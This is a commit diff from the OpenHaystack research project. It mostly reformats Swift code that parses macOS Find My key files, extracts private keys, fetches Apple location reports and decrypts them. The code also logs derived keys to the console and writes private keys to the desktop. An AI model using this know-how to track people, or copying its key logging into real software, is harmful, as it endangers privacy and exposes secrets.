mirror of
https://github.com/seemoo-lab/openhaystack.git
synced 2026-02-14 09:39:52 +00:00
Export the created firmware file (instead of flashing directly)
Running swift-format
This commit is contained in:
@@ -13,30 +13,30 @@ import SwiftUI
|
||||
@main
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
var window: NSWindow!
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = OFFetchReportsMainView()
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = OFFetchReportsMainView()
|
||||
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.isReleasedWhenClosed = false
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.isReleasedWhenClosed = false
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -10,14 +10,14 @@
|
||||
import SwiftUI
|
||||
|
||||
struct ContentView: View {
|
||||
var body: some View {
|
||||
Text("Hello, World!")
|
||||
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
||||
}
|
||||
var body: some View {
|
||||
Text("Hello, World!")
|
||||
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,93 +7,100 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
struct DecryptReports {
|
||||
|
||||
/// Decrypt a find my report with the according key
|
||||
/// - Parameters:
|
||||
/// - report: An encrypted FindMy Report
|
||||
/// - key: A FindMyKey
|
||||
/// - Throws: Errors if the decryption fails
|
||||
/// - Returns: An decrypted location report
|
||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||
let payloadData = report.payload
|
||||
let keyData = key.privateKey
|
||||
/// Decrypt a find my report with the according key
|
||||
/// - Parameters:
|
||||
/// - report: An encrypted FindMy Report
|
||||
/// - key: A FindMyKey
|
||||
/// - Throws: Errors if the decryption fails
|
||||
/// - Returns: An decrypted location report
|
||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||
let payloadData = report.payload
|
||||
let keyData = key.privateKey
|
||||
|
||||
let privateKey = keyData
|
||||
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
||||
let privateKey = keyData
|
||||
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
||||
|
||||
guard let sharedKey = BoringSSL.deriveSharedKey(
|
||||
fromPrivateKey: privateKey,
|
||||
andEphemeralKey: ephemeralKey) else {
|
||||
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
||||
}
|
||||
|
||||
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
||||
|
||||
print("Derived key \(derivedKey.base64EncodedString())")
|
||||
|
||||
let encData = payloadData.subdata(in: 62..<72)
|
||||
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
||||
|
||||
let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
|
||||
let locationReport = self.decode(content: decryptedContent, report: report)
|
||||
print(locationReport)
|
||||
return locationReport
|
||||
guard
|
||||
let sharedKey = BoringSSL.deriveSharedKey(
|
||||
fromPrivateKey: privateKey,
|
||||
andEphemeralKey: ephemeralKey)
|
||||
else {
|
||||
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
||||
}
|
||||
|
||||
/// Decrypt the payload
|
||||
/// - Parameters:
|
||||
/// - payload: Encrypted payload part
|
||||
/// - symmetricKey: Symmetric key
|
||||
/// - tag: AES GCM tag
|
||||
/// - Throws: AES GCM error
|
||||
/// - Returns: Decrypted error
|
||||
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
||||
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
||||
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
||||
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
||||
|
||||
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
||||
print("IV \(iv.base64EncodedString())")
|
||||
print("Derived key \(derivedKey.base64EncodedString())")
|
||||
|
||||
let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
||||
let symKey = SymmetricKey(data: decryptionKey)
|
||||
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
||||
let encData = payloadData.subdata(in: 62..<72)
|
||||
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
||||
|
||||
return decrypted
|
||||
}
|
||||
let decryptedContent = try self.decryptPayload(
|
||||
payload: encData, symmetricKey: derivedKey, tag: tag)
|
||||
let locationReport = self.decode(content: decryptedContent, report: report)
|
||||
print(locationReport)
|
||||
return locationReport
|
||||
}
|
||||
|
||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||
var longitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
|
||||
longitude = Int32(bigEndian: longitude)
|
||||
/// Decrypt the payload
|
||||
/// - Parameters:
|
||||
/// - payload: Encrypted payload part
|
||||
/// - symmetricKey: Symmetric key
|
||||
/// - tag: AES GCM tag
|
||||
/// - Throws: AES GCM error
|
||||
/// - Returns: Decrypted error
|
||||
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
||||
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
||||
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
||||
|
||||
var latitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
|
||||
latitude = Int32(bigEndian: latitude)
|
||||
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
||||
print("IV \(iv.base64EncodedString())")
|
||||
|
||||
var accuracy: UInt8 = 0
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
|
||||
let sealedBox = try AES.GCM.SealedBox(
|
||||
nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
||||
let symKey = SymmetricKey(data: decryptionKey)
|
||||
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
||||
|
||||
let latitudeDec = Double(latitude)/10000000.0
|
||||
let longitudeDec = Double(longitude)/10000000.0
|
||||
return decrypted
|
||||
}
|
||||
|
||||
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
|
||||
}
|
||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||
var longitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
|
||||
longitude = Int32(bigEndian: longitude)
|
||||
|
||||
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
||||
var latitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
|
||||
latitude = Int32(bigEndian: latitude)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: secret)
|
||||
var counter: Int32 = 1
|
||||
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||
shaDigest.update(data: counterData)
|
||||
shaDigest.update(data: ephKey)
|
||||
var accuracy: UInt8 = 0
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
|
||||
|
||||
let derivedKey = shaDigest.finalize()
|
||||
let latitudeDec = Double(latitude) / 10000000.0
|
||||
let longitudeDec = Double(longitude) / 10000000.0
|
||||
|
||||
return Data(derivedKey)
|
||||
}
|
||||
return FindMyLocationReport(
|
||||
lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
|
||||
t: report.timestamp, c: report.confidence)
|
||||
}
|
||||
|
||||
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: secret)
|
||||
var counter: Int32 = 1
|
||||
let counterData = Data(
|
||||
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||
shaDigest.update(data: counterData)
|
||||
shaDigest.update(data: ephKey)
|
||||
|
||||
let derivedKey = shaDigest.finalize()
|
||||
|
||||
return Data(derivedKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,218 +7,232 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Combine
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Combine
|
||||
|
||||
class FindMyController: ObservableObject {
|
||||
static let shared = FindMyController()
|
||||
static let shared = FindMyController()
|
||||
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
|
||||
func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
func loadPrivateKeys(
|
||||
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
|
||||
) {
|
||||
do {
|
||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
||||
|
||||
self.devices.append(contentsOf: devices)
|
||||
self.fetchReports(with: searchPartyToken, completion: completion)
|
||||
} catch {
|
||||
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
||||
}
|
||||
}
|
||||
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
|
||||
throws
|
||||
{
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||
|
||||
// Decrypt the reports with the imported keys
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
// Add the reports to the according device by finding the right key for the report
|
||||
for report in reports {
|
||||
|
||||
guard
|
||||
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
||||
device.keys.contains { (key) -> Bool in
|
||||
key.hashedKey.base64EncodedString() == report.id
|
||||
}
|
||||
})
|
||||
else {
|
||||
print("No device found for id")
|
||||
continue
|
||||
}
|
||||
if var reports = devices[deviceIndex].reports {
|
||||
reports.append(report)
|
||||
devices[deviceIndex].reports = reports
|
||||
} else {
|
||||
devices[deviceIndex].reports = [report]
|
||||
}
|
||||
}
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt the reports
|
||||
self.decryptReports {
|
||||
self.exportDevices()
|
||||
DispatchQueue.main.async {
|
||||
completion()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func importDevices(devices: Data) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
||||
|
||||
// Delete the decrypted reports
|
||||
for idx in devices.startIndex..<devices.endIndex {
|
||||
devices[idx].decryptedReports = nil
|
||||
}
|
||||
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt reports again with additional information
|
||||
self.decryptReports {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
let fetchReportGroup = DispatchGroup()
|
||||
|
||||
let fetcher = ReportsFetcher()
|
||||
|
||||
var devices = self.devices
|
||||
for deviceIndex in 0..<devices.count {
|
||||
fetchReportGroup.enter()
|
||||
devices[deviceIndex].reports = []
|
||||
|
||||
// Only use the newest keys for testing
|
||||
let keys = devices[deviceIndex].keys
|
||||
|
||||
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
|
||||
|
||||
// 21 days
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let startDate = Date() - duration
|
||||
|
||||
fetcher.query(
|
||||
forHashes: keyHashes,
|
||||
start: startDate,
|
||||
duration: duration,
|
||||
searchPartyToken: searchPartyToken
|
||||
) { jd in
|
||||
guard let jsonData = jd else {
|
||||
fetchReportGroup.leave()
|
||||
return
|
||||
}
|
||||
|
||||
do {
|
||||
// Decode the report
|
||||
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
||||
devices[deviceIndex].reports = report.results
|
||||
|
||||
} catch {
|
||||
print("Failed with error \(error)")
|
||||
devices[deviceIndex].reports = []
|
||||
}
|
||||
fetchReportGroup.leave()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Completion Handler
|
||||
fetchReportGroup.notify(queue: .main) {
|
||||
print("Finished loading the reports. Now decrypt them")
|
||||
|
||||
// Export the reports to the desktop
|
||||
var reports = [FindMyReport]()
|
||||
for device in devices {
|
||||
for report in device.reports! {
|
||||
reports.append(report)
|
||||
}
|
||||
}
|
||||
|
||||
#if EXPORT
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(
|
||||
for: .desktopDirectory, in: .userDomainMask
|
||||
).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.devices = devices
|
||||
|
||||
self.decryptReports {
|
||||
completion(nil)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func decryptReports(completion: () -> Void) {
|
||||
print("Decrypting reports")
|
||||
|
||||
// Iterate over all devices
|
||||
for deviceIdx in 0..<devices.count {
|
||||
devices[deviceIdx].decryptedReports = []
|
||||
let device = devices[deviceIdx]
|
||||
|
||||
// Map the keys in a dictionary for faster access
|
||||
guard let reports = device.reports else { continue }
|
||||
let keyMap = device.keys.reduce(
|
||||
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
|
||||
|
||||
let accessQueue = DispatchQueue(
|
||||
label: "threadSafeAccess",
|
||||
qos: .userInitiated,
|
||||
attributes: .concurrent,
|
||||
autoreleaseFrequency: .workItem, target: nil)
|
||||
var decryptedReports = [FindMyLocationReport](
|
||||
repeating:
|
||||
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
||||
count: reports.count)
|
||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||
let report = reports[reportIdx]
|
||||
guard let key = keyMap[report.id] else { return }
|
||||
do {
|
||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
||||
|
||||
self.devices.append(contentsOf: devices)
|
||||
self.fetchReports(with: searchPartyToken, completion: completion)
|
||||
// Decrypt the report
|
||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||
accessQueue.async(flags: .barrier) {
|
||||
decryptedReports[reportIdx] = locationReport
|
||||
}
|
||||
} catch {
|
||||
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
accessQueue.sync {
|
||||
devices[deviceIdx].decryptedReports = decryptedReports
|
||||
}
|
||||
}
|
||||
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||
completion()
|
||||
|
||||
// Decrypt the reports with the imported keys
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
// Add the reports to the according device by finding the right key for the report
|
||||
for report in reports {
|
||||
}
|
||||
|
||||
guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
||||
device.keys.contains { (key) -> Bool in
|
||||
key.hashedKey.base64EncodedString() == report.id
|
||||
}
|
||||
}) else {
|
||||
print("No device found for id")
|
||||
continue
|
||||
}
|
||||
if var reports = devices[deviceIndex].reports {
|
||||
reports.append(report)
|
||||
devices[deviceIndex].reports = reports
|
||||
} else {
|
||||
devices[deviceIndex].reports = [report]
|
||||
}
|
||||
}
|
||||
self.devices = devices
|
||||
func exportDevices() {
|
||||
|
||||
// Decrypt the reports
|
||||
self.decryptReports {
|
||||
self.exportDevices()
|
||||
DispatchQueue.main.async {
|
||||
completion()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func importDevices(devices: Data) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
||||
|
||||
// Delete the decrypted reports
|
||||
for idx in devices.startIndex..<devices.endIndex {
|
||||
devices[idx].decryptedReports = nil
|
||||
}
|
||||
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt reports again with additional information
|
||||
self.decryptReports {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
let fetchReportGroup = DispatchGroup()
|
||||
|
||||
let fetcher = ReportsFetcher()
|
||||
|
||||
var devices = self.devices
|
||||
for deviceIndex in 0..<devices.count {
|
||||
fetchReportGroup.enter()
|
||||
devices[deviceIndex].reports = []
|
||||
|
||||
// Only use the newest keys for testing
|
||||
let keys = devices[deviceIndex].keys
|
||||
|
||||
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
|
||||
|
||||
// 21 days
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let startDate = Date() - duration
|
||||
|
||||
fetcher.query(forHashes: keyHashes,
|
||||
start: startDate,
|
||||
duration: duration,
|
||||
searchPartyToken: searchPartyToken) { jd in
|
||||
guard let jsonData = jd else {
|
||||
fetchReportGroup.leave()
|
||||
return
|
||||
}
|
||||
|
||||
do {
|
||||
// Decode the report
|
||||
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
||||
devices[deviceIndex].reports = report.results
|
||||
|
||||
} catch {
|
||||
print("Failed with error \(error)")
|
||||
devices[deviceIndex].reports = []
|
||||
}
|
||||
fetchReportGroup.leave()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Completion Handler
|
||||
fetchReportGroup.notify(queue: .main) {
|
||||
print("Finished loading the reports. Now decrypt them")
|
||||
|
||||
// Export the reports to the desktop
|
||||
var reports = [FindMyReport]()
|
||||
for device in devices {
|
||||
for report in device.reports! {
|
||||
reports.append(report)
|
||||
}
|
||||
}
|
||||
|
||||
#if EXPORT
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.devices = devices
|
||||
|
||||
self.decryptReports {
|
||||
completion(nil)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func decryptReports(completion: () -> Void) {
|
||||
print("Decrypting reports")
|
||||
|
||||
// Iterate over all devices
|
||||
for deviceIdx in 0..<devices.count {
|
||||
devices[deviceIdx].decryptedReports = []
|
||||
let device = devices[deviceIdx]
|
||||
|
||||
// Map the keys in a dictionary for faster access
|
||||
guard let reports = device.reports else {continue}
|
||||
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
|
||||
|
||||
let accessQueue = DispatchQueue(label: "threadSafeAccess",
|
||||
qos: .userInitiated,
|
||||
attributes: .concurrent,
|
||||
autoreleaseFrequency: .workItem, target: nil)
|
||||
var decryptedReports = [FindMyLocationReport](repeating:
|
||||
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
||||
count: reports.count)
|
||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||
let report = reports[reportIdx]
|
||||
guard let key = keyMap[report.id] else {return}
|
||||
do {
|
||||
// Decrypt the report
|
||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||
accessQueue.async(flags: .barrier) {
|
||||
decryptedReports[reportIdx] = locationReport
|
||||
}
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
accessQueue.sync {
|
||||
devices[deviceIdx].decryptedReports = decryptedReports
|
||||
}
|
||||
}
|
||||
|
||||
completion()
|
||||
|
||||
}
|
||||
|
||||
func exportDevices() {
|
||||
|
||||
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
||||
}
|
||||
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
|
||||
.first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
struct FindMyControllerKey: EnvironmentKey {
|
||||
static var defaultValue: FindMyController = .shared
|
||||
static var defaultValue: FindMyController = .shared
|
||||
}
|
||||
|
||||
extension EnvironmentValues {
|
||||
var findMyController: FindMyController {
|
||||
get {self[FindMyControllerKey.self]}
|
||||
set {self[FindMyControllerKey.self] = newValue}
|
||||
}
|
||||
var findMyController: FindMyController {
|
||||
get { self[FindMyControllerKey.self] }
|
||||
set { self[FindMyControllerKey.self] = newValue }
|
||||
}
|
||||
}
|
||||
|
||||
enum FindMyErrors: Error {
|
||||
case decodingPlistFailed(message: String)
|
||||
case decodingPlistFailed(message: String)
|
||||
}
|
||||
|
||||
@@ -7,109 +7,110 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
/// Decode key files found in newer macOS versions.
|
||||
class FindMyKeyDecoder {
|
||||
/// Key files can be in different format.
|
||||
/// The old <= 10.15.3 have been using normal plists.
|
||||
/// Newer once use a binary format which needs different parsing
|
||||
enum KeyFileFormat {
|
||||
// swiftlint:disable identifier_name
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
||||
/// file format that can be parsed identically.
|
||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
case catalina_10_15_4
|
||||
/// Key files can be in different format.
|
||||
/// The old <= 10.15.3 have been using normal plists.
|
||||
/// Newer once use a binary format which needs different parsing
|
||||
enum KeyFileFormat {
|
||||
// swiftlint:disable identifier_name
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
||||
/// file format that can be parsed identically.
|
||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
case catalina_10_15_4
|
||||
}
|
||||
|
||||
var fileFormat: KeyFileFormat?
|
||||
|
||||
func parse(keyFile: Data) throws -> [FindMyKey] {
|
||||
// Detect the format at first
|
||||
if fileFormat == nil {
|
||||
try self.checkFormat(for: keyFile)
|
||||
}
|
||||
guard let format = self.fileFormat else {
|
||||
throw ParsingError.unsupportedFormat
|
||||
}
|
||||
|
||||
var fileFormat: KeyFileFormat?
|
||||
switch format {
|
||||
case .catalina_10_15_4:
|
||||
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
||||
return keys
|
||||
}
|
||||
}
|
||||
|
||||
func parse(keyFile: Data) throws -> [FindMyKey] {
|
||||
// Detect the format at first
|
||||
if fileFormat == nil {
|
||||
try self.checkFormat(for: keyFile)
|
||||
}
|
||||
guard let format = self.fileFormat else {
|
||||
throw ParsingError.unsupportedFormat
|
||||
}
|
||||
|
||||
switch format {
|
||||
case .catalina_10_15_4:
|
||||
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
||||
return keys
|
||||
}
|
||||
func checkFormat(for keyFile: Data) throws {
|
||||
// Key files need to start with KEY = 0x4B 45 59
|
||||
let magicBytes = keyFile.subdata(in: 0..<3)
|
||||
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
||||
throw ParsingError.wrongMagicBytes
|
||||
}
|
||||
|
||||
func checkFormat(for keyFile: Data) throws {
|
||||
// Key files need to start with KEY = 0x4B 45 59
|
||||
let magicBytes = keyFile.subdata(in: 0..<3)
|
||||
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
||||
throw ParsingError.wrongMagicBytes
|
||||
}
|
||||
// Detect zeros
|
||||
let potentialZeros = keyFile[15..<31]
|
||||
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Should be big sur
|
||||
self.fileFormat = .catalina_10_15_4
|
||||
}
|
||||
|
||||
// Detect zeros
|
||||
let potentialZeros = keyFile[15..<31]
|
||||
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Should be big sur
|
||||
self.fileFormat = .catalina_10_15_4
|
||||
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
||||
var keys = [FindMyKey]()
|
||||
// First key starts at 32
|
||||
var i = 32
|
||||
|
||||
while i + 117 < keyFile.count {
|
||||
// We could not identify what those keys were
|
||||
_ = keyFile.subdata(in: i..<i + 32)
|
||||
i += 32
|
||||
if keyFile[i] == 0x00 {
|
||||
// Public key only.
|
||||
// No need to parse it. Just skip to the next key
|
||||
i += 86
|
||||
continue
|
||||
}
|
||||
|
||||
guard keyFile[i] == 0x01 else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Step over 0x01
|
||||
i += 1
|
||||
// Read the key (starting with 0x04)
|
||||
let fullKey = keyFile.subdata(in: i..<i + 85)
|
||||
i += 85
|
||||
// Create the sub keys. No actual need,
|
||||
// but we do that to put them into a similar format as used before 10.15.4
|
||||
|
||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||
let yCoordinate = fullKey.subdata(in: 29..<57)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: advertisedKey)
|
||||
let hashedKey = Data(shaDigest.finalize())
|
||||
|
||||
let fmKey = FindMyKey(
|
||||
advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
|
||||
keys.append(fmKey)
|
||||
}
|
||||
|
||||
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
||||
var keys = [FindMyKey]()
|
||||
// First key starts at 32
|
||||
var i = 32
|
||||
return keys
|
||||
}
|
||||
|
||||
while i + 117 < keyFile.count {
|
||||
// We could not identify what those keys were
|
||||
_ = keyFile.subdata(in: i..<i+32)
|
||||
i += 32
|
||||
if keyFile[i] == 0x00 {
|
||||
// Public key only.
|
||||
// No need to parse it. Just skip to the next key
|
||||
i += 86
|
||||
continue
|
||||
}
|
||||
|
||||
guard keyFile[i] == 0x01 else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Step over 0x01
|
||||
i+=1
|
||||
// Read the key (starting with 0x04)
|
||||
let fullKey = keyFile.subdata(in: i..<i+85)
|
||||
i += 85
|
||||
// Create the sub keys. No actual need,
|
||||
// but we do that to put them into a similar format as used before 10.15.4
|
||||
|
||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||
let yCoordinate = fullKey.subdata(in: 29..<57)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: advertisedKey)
|
||||
let hashedKey = Data(shaDigest.finalize())
|
||||
|
||||
let fmKey = FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
|
||||
keys.append(fmKey)
|
||||
}
|
||||
|
||||
return keys
|
